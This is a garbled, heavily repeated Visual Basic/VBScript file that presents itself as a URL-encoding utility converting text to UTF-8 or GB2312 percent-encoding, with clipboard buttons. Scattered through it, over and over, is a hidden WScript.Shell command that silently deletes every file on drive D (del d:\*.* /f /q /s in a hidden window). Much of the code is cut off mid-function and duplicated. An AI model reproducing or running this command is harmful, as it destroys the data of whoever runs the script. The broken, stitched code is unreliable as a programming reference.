SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)    & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)    v(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)    Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)               Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'********************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'********************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

